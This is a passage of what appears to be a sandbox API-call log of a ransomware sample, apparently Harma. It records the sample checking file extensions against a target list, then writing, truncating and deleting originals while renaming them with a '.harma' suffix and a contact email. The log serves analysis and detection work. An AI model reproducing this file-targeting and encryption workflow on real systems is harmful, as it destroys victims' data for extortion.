[0047.613] lstrlenW (lpString=".docx") returned 5 [0047.613] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0047.613] lstrlenW (lpString=".pdf") returned 4 [0047.613] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0047.613] lstrlenW (lpString=".xls") returned 4 [0047.613] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0047.613] lstrlenW (lpString=".xlsx") returned 5 [0047.613] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0047.613] lstrlenW (lpString=".ppt") returned 4 [0047.613] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0047.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0047.613] lstrlenW (lpString=".zip") returned 4 [0047.613] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0047.613] lstrlenW (lpString=".rar") returned 4 [0047.613] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0047.613] lstrlenW (lpString=".bz2") returned 4 [0047.613] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0047.613] lstrlenW (lpString=".7z") returned 3 [0047.613] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0047.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0047.613] lstrlenW (lpString=".dbf") returned 4 [0047.613] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0047.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0047.613] lstrlenW (lpString=".1cd") returned 4 [0047.613] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0047.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0047.613] lstrlenW (lpString=".jpg") returned 4 [0047.613] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0047.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0047.613] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0047.613] lstrlenW (lpString=".doc") returned 4 [0047.614] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0047.614] lstrlenW (lpString=".docx") returned 5 [0047.614] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0047.614] lstrlenW (lpString=".pdf") returned 4 [0047.614] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0047.614] lstrlenW (lpString=".xls") returned 4 [0047.614] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0047.614] lstrlenW (lpString=".xlsx") returned 5 [0047.614] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0047.614] lstrlenW (lpString=".ppt") returned 4 [0047.614] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0047.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0047.614] lstrlenW (lpString=".zip") returned 4 [0047.614] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0047.614] lstrlenW (lpString=".rar") returned 4 [0047.614] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0047.614] lstrlenW (lpString=".bz2") returned 4 [0047.614] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0047.614] lstrlenW (lpString=".7z") returned 3 [0047.614] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0047.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0047.614] lstrlenW (lpString=".dbf") returned 4 [0047.614] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0047.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0047.614] lstrlenW (lpString=".1cd") returned 4 [0047.614] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0047.614] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrcommonlm.dat") returned 66 [0047.614] lstrlenW (lpString=".jpg") returned 4 [0047.614] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0047.615] lstrcmpiW (lpString1=".dat", lpString2=".harma") returned -1 [0047.615] lstrlenW (lpString="hwrenalm.dat") returned 12 [0047.615] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0048.407] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=747280) returned 1 [0048.407] CloseHandle (hObject=0x15c) returned 1 [0048.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat")) returned 0x20 [0048.407] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0048.407] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrenalm.dat"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0048.407] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0048.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0048.408] lstrlenW (lpString=".doc") returned 4 [0048.408] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0048.408] lstrlenW (lpString=".docx") returned 5 [0048.408] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0048.408] lstrlenW (lpString=".pdf") returned 4 [0048.408] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0048.408] lstrlenW (lpString=".xls") returned 4 [0048.408] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0048.408] lstrlenW (lpString=".xlsx") returned 5 [0048.408] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0048.408] lstrlenW (lpString=".ppt") returned 4 [0048.408] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0048.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0048.408] lstrlenW (lpString=".zip") returned 4 [0048.408] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0048.408] lstrlenW (lpString=".rar") returned 4 [0048.408] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0048.408] lstrlenW (lpString=".bz2") returned 4 [0048.408] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0048.408] lstrlenW (lpString=".7z") returned 3 [0048.408] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0048.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0048.408] lstrlenW (lpString=".dbf") returned 4 [0048.408] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0048.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0048.408] lstrlenW (lpString=".1cd") returned 4 [0048.408] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0048.408] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0048.408] lstrlenW (lpString=".jpg") returned 4 [0048.408] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0048.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0048.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0048.409] lstrlenW (lpString=".doc") returned 4 [0048.409] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0048.409] lstrlenW (lpString=".docx") returned 5 [0048.409] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0048.409] lstrlenW (lpString=".pdf") returned 4 [0048.409] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0048.409] lstrlenW (lpString=".xls") returned 4 [0048.409] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0048.409] lstrlenW (lpString=".xlsx") returned 5 [0048.409] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0048.409] lstrlenW (lpString=".ppt") returned 4 [0048.409] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0048.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0048.409] lstrlenW (lpString=".zip") returned 4 [0048.409] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0048.409] lstrlenW (lpString=".rar") returned 4 [0048.409] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0048.409] lstrlenW (lpString=".bz2") returned 4 [0048.409] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0048.409] lstrlenW (lpString=".7z") returned 3 [0048.409] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0048.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0048.409] lstrlenW (lpString=".dbf") returned 4 [0048.409] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0048.409] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0048.409] lstrlenW (lpString=".1cd") returned 4 [0048.410] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0048.410] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrenalm.dat") returned 63 [0048.410] lstrlenW (lpString=".jpg") returned 4 [0048.410] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0048.410] lstrcmpiW (lpString1=".dat", lpString2=".harma") returned -1 [0048.410] lstrlenW (lpString="hwruksh.dat") returned 11 [0048.410] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0048.411] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2227968) returned 1 [0048.411] CloseHandle (hObject=0x15c) returned 1 [0048.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat")) returned 0x20 [0048.411] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0048.411] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwruksh.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0048.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0048.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0048.411] lstrlenW (lpString=".doc") returned 4 [0048.411] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0048.411] lstrlenW (lpString=".docx") returned 5 [0048.411] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0048.411] lstrlenW (lpString=".pdf") returned 4 [0048.411] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0048.411] lstrlenW (lpString=".xls") returned 4 [0048.411] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0048.411] lstrlenW (lpString=".xlsx") returned 5 [0048.411] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0048.411] lstrlenW (lpString=".ppt") returned 4 [0048.411] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0048.411] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0048.411] lstrlenW (lpString=".zip") returned 4 [0048.411] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0048.412] lstrlenW (lpString=".rar") returned 4 [0048.412] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0048.412] lstrlenW (lpString=".bz2") returned 4 [0048.412] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0048.412] lstrlenW (lpString=".7z") returned 3 [0048.412] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0048.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0048.412] lstrlenW (lpString=".dbf") returned 4 [0048.412] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0048.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0048.412] lstrlenW (lpString=".1cd") returned 4 [0048.412] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0048.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0048.412] lstrlenW (lpString=".jpg") returned 4 [0048.412] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0048.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0048.412] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0048.412] lstrlenW (lpString=".doc") returned 4 [0048.412] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0048.412] lstrlenW (lpString=".docx") returned 5 [0048.412] lstrcmpiW (lpString1=".docx", lpString2="h.dat") returned -1 [0048.412] lstrlenW (lpString=".pdf") returned 4 [0048.412] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0048.412] lstrlenW (lpString=".xls") returned 4 [0048.412] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0048.412] lstrlenW (lpString=".xlsx") returned 5 [0048.413] lstrcmpiW (lpString1=".xlsx", lpString2="h.dat") returned -1 [0048.413] lstrlenW (lpString=".ppt") returned 4 [0048.413] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0048.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0048.413] lstrlenW (lpString=".zip") returned 4 [0048.413] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0048.413] lstrlenW (lpString=".rar") returned 4 [0048.413] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0048.413] lstrlenW (lpString=".bz2") returned 4 [0048.413] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0048.413] lstrlenW (lpString=".7z") returned 3 [0048.413] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0048.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0048.413] lstrlenW (lpString=".dbf") returned 4 [0048.413] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0048.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0048.413] lstrlenW (lpString=".1cd") returned 4 [0048.413] lstrcmpiW (lpString1=".1cd", lpString2=".dat") returned -1 [0048.413] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwruksh.dat") returned 62 [0048.413] lstrlenW (lpString=".jpg") returned 4 [0048.413] lstrcmpiW (lpString1=".jpg", lpString2=".dat") returned 1 [0048.413] lstrcmpiW (lpString1=".dat", lpString2=".harma") returned -1 [0048.413] lstrlenW (lpString="hwrusalm.dat") returned 12 [0048.413] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15c [0048.414] GetFileSizeEx (in: hFile=0x15c, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=3195696) returned 1 [0048.414] CloseHandle (hObject=0x15c) returned 1 [0048.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat")) returned 0x20 [0048.414] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0048.414] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusalm.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0048.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0048.414] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0048.414] lstrlenW (lpString=".doc") returned 4 [0048.414] lstrcmpiW (lpString1=".doc", lpString2=".dat") returned 1 [0048.415] lstrlenW (lpString=".docx") returned 5 [0048.415] lstrcmpiW (lpString1=".docx", lpString2="m.dat") returned -1 [0048.415] lstrlenW (lpString=".pdf") returned 4 [0048.415] lstrcmpiW (lpString1=".pdf", lpString2=".dat") returned 1 [0048.415] lstrlenW (lpString=".xls") returned 4 [0048.415] lstrcmpiW (lpString1=".xls", lpString2=".dat") returned 1 [0048.415] lstrlenW (lpString=".xlsx") returned 5 [0048.415] lstrcmpiW (lpString1=".xlsx", lpString2="m.dat") returned -1 [0048.415] lstrlenW (lpString=".ppt") returned 4 [0048.415] lstrcmpiW (lpString1=".ppt", lpString2=".dat") returned 1 [0048.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0048.415] lstrlenW (lpString=".zip") returned 4 [0048.415] lstrcmpiW (lpString1=".zip", lpString2=".dat") returned 1 [0048.415] lstrlenW (lpString=".rar") returned 4 [0048.415] lstrcmpiW (lpString1=".rar", lpString2=".dat") returned 1 [0048.415] lstrlenW (lpString=".bz2") returned 4 [0048.415] lstrcmpiW (lpString1=".bz2", lpString2=".dat") returned -1 [0048.415] lstrlenW (lpString=".7z") returned 3 [0048.415] lstrcmpiW (lpString1=".7z", lpString2="dat") returned -1 [0048.415] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusalm.dat") returned 63 [0048.415] lstrlenW (lpString=".dbf") returned 4 [0048.415] lstrcmpiW (lpString1=".dbf", lpString2=".dat") returned 1 [0048.416] MoveFileW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\hwrusash.dat.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\hwrusash.dat.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0 [0049.517] GetFileSizeEx (in: hFile=0x1a0, lpFileSize=0x2b8ff1c | out: lpFileSize=0x2b8ff1c*=2624) returned 1 [0049.517] CloseHandle (hObject=0x1a0) returned 1 [0049.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 0x20 [0049.518] GetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma")) returned 0xffffffff [0049.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1a0 [0049.518] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.518] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.518] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml.id-9c354b42.[gillian.cher@aol.com].harma"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1fc [0049.518] GetLastError () returned 0x0 [0049.519] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0xa40, lpOverlapped=0x0) returned 1 [0049.557] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xa50, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xa50, lpOverlapped=0x0) returned 1 [0049.558] ReadFile (in: hFile=0x1a0, lpBuffer=0x3160020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2b8fed4, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesRead=0x2b8fed4*=0x0, lpOverlapped=0x0) returned 1 [0049.558] WriteFile (in: hFile=0x1fc, lpBuffer=0x3160020*, nNumberOfBytesToWrite=0xe6, lpNumberOfBytesWritten=0x2b8fc9c, lpOverlapped=0x0 | out: lpBuffer=0x3160020*, lpNumberOfBytesWritten=0x2b8fc9c*=0xe6, lpOverlapped=0x0) returned 1 [0049.558] SetEndOfFile (hFile=0x1fc) returned 1 [0049.558] CloseHandle (hObject=0x1fc) returned 1 [0049.559] SetFilePointerEx (in: hFile=0x1a0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2b8fec8 | out: lpNewFilePointer=0x0) returned 1 [0049.560] SetEndOfFile (hFile=0x1a0) returned 1 [0049.560] CloseHandle (hObject=0x1a0) returned 1 [0049.560] SetFileAttributesW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML.id-9C354B42.[gillian.cher@aol.com].harma", dwFileAttributes=0x20) returned 1 [0049.561] DeleteFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML" (normalized: "c:\\program files\\common files\\microsoft shared\\office14\\office setup controller\\access.en-us\\setup.xml")) returned 1 [0049.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0049.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0049.561] lstrlenW (lpString=".doc") returned 4 [0049.561] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.561] lstrlenW (lpString=".docx") returned 5 [0049.561] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.561] lstrlenW (lpString=".pdf") returned 4 [0049.561] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.561] lstrlenW (lpString=".xls") returned 4 [0049.561] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.561] lstrlenW (lpString=".xlsx") returned 5 [0049.561] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.561] lstrlenW (lpString=".ppt") returned 4 [0049.561] lstrcmpiW (lpString1=".ppt", lpString2=".XML") returned -1 [0049.561] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0049.561] lstrlenW (lpString=".zip") returned 4 [0049.562] lstrcmpiW (lpString1=".zip", lpString2=".XML") returned 1 [0049.562] lstrlenW (lpString=".rar") returned 4 [0049.562] lstrcmpiW (lpString1=".rar", lpString2=".XML") returned -1 [0049.562] lstrlenW (lpString=".bz2") returned 4 [0049.562] lstrcmpiW (lpString1=".bz2", lpString2=".XML") returned -1 [0049.562] lstrlenW (lpString=".7z") returned 3 [0049.562] lstrcmpiW (lpString1=".7z", lpString2="XML") returned -1 [0049.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0049.562] lstrlenW (lpString=".dbf") returned 4 [0049.562] lstrcmpiW (lpString1=".dbf", lpString2=".XML") returned -1 [0049.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0049.562] lstrlenW (lpString=".1cd") returned 4 [0049.562] lstrcmpiW (lpString1=".1cd", lpString2=".XML") returned -1 [0049.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0049.562] lstrlenW (lpString=".jpg") returned 4 [0049.562] lstrcmpiW (lpString1=".jpg", lpString2=".XML") returned -1 [0049.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0049.562] lstrlenW (lpString="C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Access.en-us\\SETUP.XML") returned 102 [0049.562] lstrlenW (lpString=".doc") returned 4 [0049.562] lstrcmpiW (lpString1=".doc", lpString2=".XML") returned -1 [0049.562] lstrlenW (lpString=".docx") returned 5 [0049.562] lstrcmpiW (lpString1=".docx", lpString2="P.XML") returned -1 [0049.562] lstrlenW (lpString=".pdf") returned 4 [0049.562] lstrcmpiW (lpString1=".pdf", lpString2=".XML") returned -1 [0049.562] lstrlenW (lpString=".xls") returned 4 [0049.562] lstrcmpiW (lpString1=".xls", lpString2=".XML") returned -1 [0049.562] lstrlenW (lpString=".xlsx") returned 5 [0049.562] lstrcmpiW (lpString1=".xlsx", lpString2="P.XML") returned -1 [0049.563] lstrlenW 